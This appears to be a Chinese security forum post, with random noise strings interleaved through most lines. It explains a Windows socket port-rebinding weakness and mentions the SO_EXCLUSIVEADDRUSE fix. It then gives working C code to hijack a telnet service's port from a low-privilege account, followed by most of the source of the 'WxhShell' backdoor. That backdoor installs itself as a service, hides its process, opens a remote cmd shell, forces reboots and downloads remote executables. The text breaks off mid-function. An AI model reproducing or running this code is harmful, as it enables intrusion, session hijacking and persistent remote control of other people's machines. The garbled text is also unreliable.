在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7t:tS7{} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z0m`%(MJa _]pu"hZz4 saddr.sin_family = AF_INET;
P(TBFu XclTyUGoK+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8.Y|I5l7G aR/?YKA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
RZ xwr =R|XFZ, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;%B9mM#p~ >( [,yMIY 这意味着什么?意味着可以进行如下的攻击:
3m`>D
e ``Q6R2[|) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
kMMgY? -4&
i t: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NX.xEW@ OmO#} k< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G7Sw\wW "cPg_-n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uMS+,dXy u0 tlf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gJ'pwSA @2)nhW/z6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%dFJ'[jDL 4]ni-u0* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E<[
s+iX }|Mwv
$` #include
*_o(~5w-K #include
cN8Fn4gq #include
'in%Gii #include
v#d\YV{I DWORD WINAPI ClientThread(LPVOID lpParam);
UI+6\ 3 int main()
O'mcN* {
MmR6V#@: WORD wVersionRequested;
]f0'YLG DWORD ret;
L2ydyXIsd WSADATA wsaData;
_y_}/ BOOL val;
_!@:@e)yB{ SOCKADDR_IN saddr;
czuIs|_K* SOCKADDR_IN scaddr;
p;w&}l{{ int err;
+*:mKx@Nw SOCKET s;
/[.V( K
D SOCKET sc;
VNHceH int caddsize;
:~vodh HANDLE mt;
JhFbze> DWORD tid;
|JxVfX8^ wVersionRequested = MAKEWORD( 2, 2 );
KBmO i err = WSAStartup( wVersionRequested, &wsaData );
%
D if ( err != 0 ) {
O
{1" I printf("error!WSAStartup failed!\n");
iM)K:L7d return -1;
:_~.Nt }
3k`Q]O=OU saddr.sin_family = AF_INET;
LV^^Bd8Ct d8wVhZKI" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&aLTy&8Fv
D}98ZKi saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
, ~O>8VbF saddr.sin_port = htons(23);
IMH4GVr" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&>,;ye>A {
K8;SE! printf("error!socket failed!\n");
,,gMUpL7_8 return -1;
iZ-R%- }B }
3ic /xy;} val = TRUE;
>8e)V
; //SO_REUSEADDR选项就是可以实现端口重绑定的
ahg:mlaob if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A'DFY { {
3' i6<
printf("error!setsockopt failed!\n");
E1eGZ&&Gd return -1;
CO='[1"_5 }
$nO~A7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N3n] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q[biy{(b8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L0fe rx1u*L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9&n9J^3L {
ub-3/T ret=GetLastError();
[a2]_]E% printf("error!bind failed!\n");
b>;?{ return -1;
Rql/@j`JX }
ga5Q listen(s,2);
yYA*5
7^A while(1)
V`^*Z}d9 {
,t9EL 21 caddsize = sizeof(scaddr);
@N4_){s* //接受连接请求
79v +ze sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SK}sf9gTv if(sc!=INVALID_SOCKET)
qzUiBwUi@ {
y2jv84
M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_O`p (6 if(mt==NULL)
.~f )4'T 9 {
R^l0Bu]X printf("Thread Creat Failed!\n");
(p-q>@m break;
Kjd3!%4mB }
Qr$'Q7 }
:y-;V CloseHandle(mt);
.<%tu 0 }
z1J)./BO closesocket(s);
>1j#XA8 WSACleanup();
q]?qeF[ return 0;
9zwD%3Ufn }
L|CdTRgRCB DWORD WINAPI ClientThread(LPVOID lpParam)
k pgA2u7 {
#n>U7j9`O SOCKET ss = (SOCKET)lpParam;
.G{cx=; SOCKET sc;
.l1x~( unsigned char buf[4096];
?+t;\ SOCKADDR_IN saddr;
[ohLG_9 long num;
FS1\`#Bm) DWORD val;
0cS$S Mn{ DWORD ret;
{r_HcI(h //如果是隐藏端口应用的话,可以在此处加一些判断
0;bdwIP3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,a #>e saddr.sin_family = AF_INET;
u#76w74 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B$eM saddr.sin_port = htons(23);
):$KM{X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2{79,Js0 {
lVvcrU printf("error!socket failed!\n");
uy{O return -1;
46>rvy.r }
A8'RM F1 val = 100;
^Arv6kD, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4 /_jrZO {
ET}Z>vU}+ ret = GetLastError();
1K Fd
~U return -1;
)U %`7(bN }
wL0[Slf} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{`!6w>w0 {
[c,V=:Cq ret = GetLastError();
;'S,JGpvT return -1;
/~NX<Ye& }
A6z,6v6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(47?lw
& {
4Zbn8GpC printf("error!socket connect failed!\n");
w}3N!jNDv closesocket(sc);
X
_ZO)| closesocket(ss);
5?0<.f, return -1;
R-Edht|{ }
syl7i>P while(1)
wA5Iz{uQO {
:r
q~5hK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eFiG:LS7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
X:i?gRy" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
50_[hC&C) num = recv(ss,buf,4096,0);
wH~A>
4*( if(num>0)
IC
cr send(sc,buf,num,0);
cGV%=N^BE< else if(num==0)
Y_%:%J break;
xuXPVJdi num = recv(sc,buf,4096,0);
!n-Sh<8 if(num>0)
KhR3$|fH< send(ss,buf,num,0);
Y$JVxly else if(num==0)
8_%GH}{ break;
AG,><UP }
"'v+*H 3 closesocket(ss);
s<YN*~ closesocket(sc);
M/o?D <' return 0 ;
BN 9e S }
mjD^iu8? >=N-P<% ~5P9^`KNH ==========================================================
hz:7W8 KrGl}| 下边附上一个代码,,WXhSHELL
kY]"3a /b,>fK^ ==========================================================
2y`h'z IWo'{pk #include "stdafx.h"
_[6sr7H! 3 yx[*'e$ #include <stdio.h>
ljbAfd #include <string.h>
sC3Vj(d!i #include <windows.h>
fu!T4{2 #include <winsock2.h>
$ar^U #include <winsvc.h>
m,HE4`g #include <urlmon.h>
dj0%?g> 9`f@"%h #pragma comment (lib, "Ws2_32.lib")
%+'Ex]B #pragma comment (lib, "urlmon.lib")
{ "]!zL 2^'Ec:|f #define MAX_USER 100 // 最大客户端连接数
irlFB#.. #define BUF_SOCK 200 // sock buffer
D\Ez~.H #define KEY_BUFF 255 // 输入 buffer
XM\\Imw >w.;A%|N #define REBOOT 0 // 重启
Vlx.C~WYn #define SHUTDOWN 1 // 关机
}TTghE! "l&SRX?g #define DEF_PORT 5000 // 监听端口
`rn/H;r!Z 89M'klZ #define REG_LEN 16 // 注册表键长度
Q/|.=:~FO #define SVC_LEN 80 // NT服务名长度
m1W) PUy Au2?f~#Fv // 从dll定义API
Htgo=7!?\3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YrL(4 Nt8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
UBL{3s^" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z1fY' f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F~Dof({: GQ1/pys // wxhshell配置信息
t'2A)S struct WSCFG {
BH'*I
yv int ws_port; // 监听端口
~v8X>XDL?T char ws_passstr[REG_LEN]; // 口令
h3`}{
w int ws_autoins; // 安装标记, 1=yes 0=no
,>B11Z}PH char ws_regname[REG_LEN]; // 注册表键名
?|ZbQz(bL char ws_svcname[REG_LEN]; // 服务名
Ck/44Wfej char ws_svcdisp[SVC_LEN]; // 服务显示名
fTj@/"a char ws_svcdesc[SVC_LEN]; // 服务描述信息
7^i7U-A<A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'HWl_M int ws_downexe; // 下载执行标记, 1=yes 0=no
$NR[U+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
xb\EJ1M> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3wfcGQn|sD HO<|EH~lu };
I(M/X/ 336ETrG^0 // default Wxhshell configuration
=dQ[I6 struct WSCFG wscfg={DEF_PORT,
,=+t2Bn "xuhuanlingzhe",
xgxfPcI 1,
T7nI/y "Wxhshell",
_*H Hdd5I "Wxhshell",
CR$wzjP j "WxhShell Service",
\ ITd\)F%N "Wrsky Windows CmdShell Service",
ec; "Please Input Your Password: ",
zTc;-, 1,
/phMrL= "
http://www.wrsky.com/wxhshell.exe",
! ;>s .] "Wxhshell.exe"
O+W<l:|$ };
Rrh6-]A 4 bk`i*-O // 消息定义模块
"s|P,*Xf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K+)3 LR^ char *msg_ws_prompt="\n\r? for help\n\r#>";
?kR1T0lKkE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
NFTv4$5d char *msg_ws_ext="\n\rExit.";
rXW.F'=K6 char *msg_ws_end="\n\rQuit.";
a{xJ#_/6 char *msg_ws_boot="\n\rReboot...";
qy'-'UlIr char *msg_ws_poff="\n\rShutdown...";
{dxFd-K3 char *msg_ws_down="\n\rSave to ";
tMw65Xei6b 4FzTf7h^ char *msg_ws_err="\n\rErr!";
9D14/9*(dU char *msg_ws_ok="\n\rOK!";
JtO}i{A },d^y:m char ExeFile[MAX_PATH];
+q
pW"0[ int nUser = 0;
ymm]+v5S.] HANDLE handles[MAX_USER];
v]M:HzP int OsIsNt;
;U3:1hn yP7b))AW9 SERVICE_STATUS serviceStatus;
R3G\Gchd SERVICE_STATUS_HANDLE hServiceStatusHandle;
f"Iui [~8U],?1 // 函数声明
zg ,=A? int Install(void);
"SN*hzs"]` int Uninstall(void);
<r,5F: int DownloadFile(char *sURL, SOCKET wsh);
c>$d!IKCL int Boot(int flag);
I/w;4!+) void HideProc(void);
,f^fr&6jb int GetOsVer(void);
v7pu int Wxhshell(SOCKET wsl);
I3 "6" void TalkWithClient(void *cs);
z]9t 5I int CmdShell(SOCKET sock);
s'yR2JYv int StartFromService(void);
2Vti|@JYp int StartWxhshell(LPSTR lpCmdLine);
Jk%5Fw0 m}z6Bbis 0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-F?97&G$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
^# #j
{h7 a]*{!V{$i // 数据结构和表定义
9}QIqH\p SERVICE_TABLE_ENTRY DispatchTable[] =
z6)N![X {
UJ,vE}=_{ {wscfg.ws_svcname, NTServiceMain},
Lk|`\I
T {NULL, NULL}
f+9WGNpw };
K+|XI|1p pyV`O[ // 自我安装
HWV A5E[`Y int Install(void)
ogIu\kiZ {
el2Wk@* char svExeFile[MAX_PATH];
&?y@`',a0{ HKEY key;
Ub\^3f strcpy(svExeFile,ExeFile);
+ZbNSN= VLV]e_D6s // 如果是win9x系统,修改注册表设为自启动
pnuo;r s if(!OsIsNt) {
~qZ6I)? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4 xqzdR_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:4AIYk=q RegCloseKey(key);
CmXLD} L_x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pfZ[YC- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FdE?uw RegCloseKey(key);
'4M{Xn}@ return 0;
m!KEK\5M? }
3UXZ|!- }
g$NUu }
L*4"D4V else {
Gx$m"Jeq\ 3ibQbk // 如果是NT以上系统,安装为系统服务
{X<g93 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J;~YD$ if (schSCManager!=0)
Aa_@&e {
[;Ih I SC_HANDLE schService = CreateService
;:Z5Ft m (
iT:i
'\~ schSCManager,
~D@ YLW1z( wscfg.ws_svcname,
tf6-DmMH wscfg.ws_svcdisp,
Lxv;[2XsW) SERVICE_ALL_ACCESS,
s7n7u7$j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
CKHmJ]= SERVICE_AUTO_START,
x"sbm SERVICE_ERROR_NORMAL,
D7nK"]HG;l svExeFile,
7zx
xO|p[ NULL,
AmC9qk8Q NULL,
[R1|=kGU NULL,
vv&< 7[ NULL,
2H w7V3q NULL
e|:\Ps `8 );
]d[e if (schService!=0)
Ce-=
- {
}' tJc $! CloseServiceHandle(schService);
|J4sQ!%K CloseServiceHandle(schSCManager);
OIj.K@Kr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
V'#R1 x"3 strcat(svExeFile,wscfg.ws_svcname);
h! uyTgq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Y=|p}>.} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:l"BNT[/ RegCloseKey(key);
U"/T`f'H z return 0;
^[.}DNR95( }
Zoxblk }
.`~?w+ ~ CloseServiceHandle(schSCManager);
r+m.!+ }
{St- }
,mx\
-lWFy ;Q,t65+Am return 1;
aV7VbC }
9[JUJ,#X'0 JwxKWVpWv // 自我卸载
kJl^,q int Uninstall(void)
2~\SUGW- {
a T(] HKEY key;
QY4;qA &k,DAx`rN; if(!OsIsNt) {
X+sKG5nS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m5
sW68 RegDeleteValue(key,wscfg.ws_regname);
?;v\wx RegCloseKey(key);
C_>XtcU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oh:9v+ RegDeleteValue(key,wscfg.ws_regname);
%\,9S`0 RegCloseKey(key);
c_ncx|dUs return 0;
sgP{A}4 W }
x#3*C|A }
u;
KM[FmK }
P<Bx1H-z- else {
O>+=cg qJT/48lf_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fQC{LcS if (schSCManager!=0)
k
L6s49 {
/d}"s.3p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BFw_T3}zn if (schService!=0)
Nc(CGl: {
mST8+R@S if(DeleteService(schService)!=0) {
C{m%]jKH CloseServiceHandle(schService);
[u!n=ev CloseServiceHandle(schSCManager);
vE^tdzAG return 0;
Cp/f18zO }
XQn1B3k+ CloseServiceHandle(schService);
N,K/Ya)1 }
J;Z2<x/H CloseServiceHandle(schSCManager);
O<Q8%Az }
&kzysv-_ }
M1WD^?tKQ. z]rr
Q=dAA return 1;
.B<Bqr@?8 }
+@^);b6 l3p :}A // 从指定url下载文件
~Z/,o) int DownloadFile(char *sURL, SOCKET wsh)
NW5OLa")J< {
Q;VuoHj! HRESULT hr;
o/7u7BQl2 char seps[]= "/";
+'c+X^_ char *token;
>Y8\f:KQ char *file;
uarfH]T{ char myURL[MAX_PATH];
'm~=sC_uL char myFILE[MAX_PATH];
9h6Oq(0b8 2`riI*fQ strcpy(myURL,sURL);
TMMJ5\t2 token=strtok(myURL,seps);
N8pL2y:R[P while(token!=NULL)
\mh #MMp {
5z0VMt file=token;
9o5D3
d
K token=strtok(NULL,seps);
In_"iEo, }
TyIjDG6tM Rs5 lL-I GetCurrentDirectory(MAX_PATH,myFILE);
`K5*Fjx strcat(myFILE, "\\");
% Q6
za'25 strcat(myFILE, file);
?[Y(JO# send(wsh,myFILE,strlen(myFILE),0);
Y&yfm/R u send(wsh,"...",3,0);
K [DpH& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
t?G6|3 if(hr==S_OK)
9}9VZ r? return 0;
]Ac}+? else
zsJ# CDm return 1;
p"
>*WQ f/O6~I&g }
e1-tpD:J !Nx1I // 系统电源模块
SC~k4&xy int Boot(int flag)
HQ-++;Q {
~>(~2083*; HANDLE hToken;
+`GtZnt# TOKEN_PRIVILEGES tkp;
,9bnR;f\ <EUR: if(OsIsNt) {
^C'0Y.H S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:+Ukwno?/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]7Vg9&1` tkp.PrivilegeCount = 1;
;9OhK71} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TC/c5:)] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A_9^S! if(flag==REBOOT) {
]S&ki}i& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Su,:f_If, return 0;
1`7zYW&L }
"QdK
Md else {
To>,8E+GAb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
nte?a e return 0;
K#Ck,Y" }
XJe=+_K9 }
qMJJB l else {
`?Q
p>t if(flag==REBOOT) {
(|^m9v0: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b&F9<XLqq return 0;
CfU|]< }
VGQ~~U7}@ else {
@Iz]:@\cJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
uTR^K=Ve return 0;
nFn!6,>E }
@ye!? % }
%BGg?& v,ssv{gU return 1;
*7Q6b 4~" }
EB*sd S iwJ_~ // win9x进程隐藏模块
2HFn\kjj.s void HideProc(void)
1'<C-[1 {
Bx#i?=*W .}!.4J%q2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7_i8'(`` if ( hKernel != NULL )
Kb?{^\FiU {
~'_cBJ
'XD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;yJ:W8U]+; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?+d`_/IB FreeLibrary(hKernel);
U0_^6zd_ }
06pvI} _Ub
`\ytx return;
!e|\1v'0 }
!B3TLeh ls@]%pz.1d // 获取操作系统版本
R
p&J!hlA int GetOsVer(void)
U7s$';y"% {
cFL~<
[>_ OSVERSIONINFO winfo;
ZkbE&7Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8v;^jo>ug GetVersionEx(&winfo);
BNK]Os if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nzflUR{`- return 1;
zi-_ l else
#Lhv=0op return 0;
G|g^yaq> }
nQc#AFg
/WTEz\k // 客户端句柄模块
O]u'7nO{{ int Wxhshell(SOCKET wsl)
"Q.* {
S!b18|o" SOCKET wsh;
s/D)X=P1 struct sockaddr_in client;
.hat!Tt9 DWORD myID;
"@UQSf, @V*dF|# / while(nUser<MAX_USER)
q\6(_U#Tl {
8?+|4:#=*J int nSize=sizeof(client);
xR1G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4KH492Nq9 if(wsh==INVALID_SOCKET) return 1;
sT\:** 7<yc:}9nx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
WkTJ M if(handles[nUser]==0)
NHGTV$T`1 closesocket(wsh);
\]9)%3I else
q\0/6tl_ nUser++;
)dT@0Ys% }
Vx_33";S\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_M^.4H2 CZ5\Et6r return 0;
%T/@/,7h }
K!-OUm5A ntW@Fm:bw> // 关闭 socket
9|+6@6VY! void CloseIt(SOCKET wsh)
P=94 {
s\-,RQ1 closesocket(wsh);
.9jKD*U| nUser--;
Cu[-<>my ExitThread(0);
(>v'0RA }
\/NF??k,jk ukWn@q* // 客户端请求句柄
1-_r\sb void TalkWithClient(void *cs)
\fA{ sehdL {
5f-b>=02 3'4+3Xo SOCKET wsh=(SOCKET)cs;
@tH9$J*Y< char pwd[SVC_LEN];
=hPXLCeC char cmd[KEY_BUFF];
0xB2 char chr[1];
4yl{:!la int i,j;
i>F=XE 3P
cVE\GN while (nUser < MAX_USER) {
}|P3(*S @UD:zUT)F if(wscfg.ws_passstr) {
~r --dU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W:]FYC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UnhVppnex //ZeroMemory(pwd,KEY_BUFF);
3A#Tn7 i=0;
GShxPH{_j while(i<SVC_LEN) {
z5>I9R^q; H71sxek3 // 设置超时
Wc3z7xK1@ fd_set FdRead;
P-@MLIC{ struct timeval TimeOut;
[^5\Ww FD_ZERO(&FdRead);
C?<pD+]b_ FD_SET(wsh,&FdRead);
f`9Mcli! TimeOut.tv_sec=8;
tb3VqFx TimeOut.tv_usec=0;
y0 * rY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d!,t_jM0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
PMzPj, (`tRJWbdz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:L[>!~YG_n pwd
=chr[0]; aLO^>",
if(chr[0]==0xd || chr[0]==0xa) { I.<c{4K5
pwd=0; 2{OR#v~
break; P6:C/B
} /).{h'^Hq\
i++; )kD/ 8
} CKsVs.:u
-pC8 L<
// 如果是非法用户,关闭 socket 7{;it uqX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?"B]"%M&
} @YJI'Hf67
:D.0\.p
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z|l*5@p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + ?1GscJ
8Lo#{`
while(1) { j|eA*UE
*r7vDc
ZeroMemory(cmd,KEY_BUFF); 1\.$=N
x$Dq0FX!%_
// 自动支持客户端 telnet标准 ,?fJ0n:!%
j=0; u^80NR
while(j<KEY_BUFF) { tdy2ZPVtTV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mDB
cmd[j]=chr[0]; V>Wk\'h
if(chr[0]==0xa || chr[0]==0xd) { Zi!Ta"}8
cmd[j]=0; r* *zjv>
break; M([#Py9h
} o96C^y{~S
j++; "W|A^@r}
} n<I{x^!
rwm^{Qa
// 下载文件 IPiV_c-l
if(strstr(cmd,"http://")) { cnv>&6a)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZO0 Ee1/
if(DownloadFile(cmd,wsh)) :GHv3hn5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \o9 \ikR
else )9QtnM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;LDE`Q_x
} L4#pMc
else { *H>rvE.K?
X#Bb?Pv
switch(cmd[0]) { :=*deZ<
9"[;ld <
// 帮助 v9*m0|T0M
case '?': { JxAQ,oOO
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e[S`Dm"i)'
break; 0#q=-M/?`
} VtreOJ+
// 安装 x%{]'z
case 'i': { ' W/M>!X
if(Install()) z6>@9+V-&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PnlI {d
else d=!:UB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cy/&KWLenf
break; 0YeTS!*Aj
} -N *L1Zj
// 卸载 EY}:aur
case 'r': { }aCa2%
if(Uninstall()) #YUaM<O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1<@SMcj>
else mkl{Tp*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$P,x
break; FR&`R
} 1H)mJVIKkB
// 显示 wxhshell 所在路径 VFHd2Ea(
case 'p': { LF<&gC
char svExeFile[MAX_PATH]; ,Kit@`P%
strcpy(svExeFile,"\n\r"); cTqkM@S
strcat(svExeFile,ExeFile); cNs'GfD}
send(wsh,svExeFile,strlen(svExeFile),0); !3v&+Jrf6
break; (~T*yH ~
} tYS4"Nfb+
// 重启 U,
6iT
case 'b': { ZzT=m*tQ&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s='+[*&&
if(Boot(REBOOT)) KWTV!Wxb=K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@qw
else { t>"%exdoZ
closesocket(wsh); sE1cvAw9l
ExitThread(0); 4ls:BO;k]
} xNP_>Qa~
break; a QH6akH
} >yIJ8IDF
// 关机 lOIk$"Ne
case 'd': { >4 OXG7.&f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ao(T81
if(Boot(SHUTDOWN)) ~MpikBf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|Ps|iV
else { k3\N.@\
closesocket(wsh); D}-.<
ExitThread(0); XQ}Zr/f6
} Fsx?(?tCMo
break; |(7}0]BP0
} xQy,1f3s+
// 获取shell tAX*CMW
case 's': { rS8a/d~;0
CmdShell(wsh);
B.z$0=b
closesocket(wsh); 8v:{BHX
ExitThread(0); ?RRO
break; 8~=*\
@^
}
y(A' *G9
// 退出 "4j~2{{F
case 'x': { @@EI=\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gcLz}84
CloseIt(wsh); 4s\spvJ
break; (IJNBJb
} _|HhT^\P
// 离开 3v* ~CQy9
case 'q': { \P\Z<z7jy
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;*K4{wvG
closesocket(wsh); 0X$mT:=9
WSACleanup(); 99m2aT()
exit(1); ,d
G. 67
break; ``o]i{x
} Z`Yt~{,Q
} M5xJ_yjG
} Qm%F]nyy
`-NK:;^
// 提示信息 `:/'")+@v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Sq<_TO
} P
rt}
01$
} Sb.8d]DW
d@%"B($nR
return; =:W2NN'
} sFU< PgV
jX53 owZ
// shell模块句柄 [^H2'&]
int CmdShell(SOCKET sock) xn8KOwX%
{ jU,Xlgz(A
STARTUPINFO si; j!;LN)s@?
ZeroMemory(&si,sizeof(si)); W{p}N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LiJYyp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Po"qoGy
PROCESS_INFORMATION ProcessInfo; _vQ52H,
char cmdline[]="cmd"; j;x()iZ<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ez4!5&TzRm
return 0; L"_XWno
} J0G@]H
A|A~$v("R
// 自身启动模式 z^Q'GBoBA
int StartFromService(void) [K{{P|(q
{ y@P%t9l
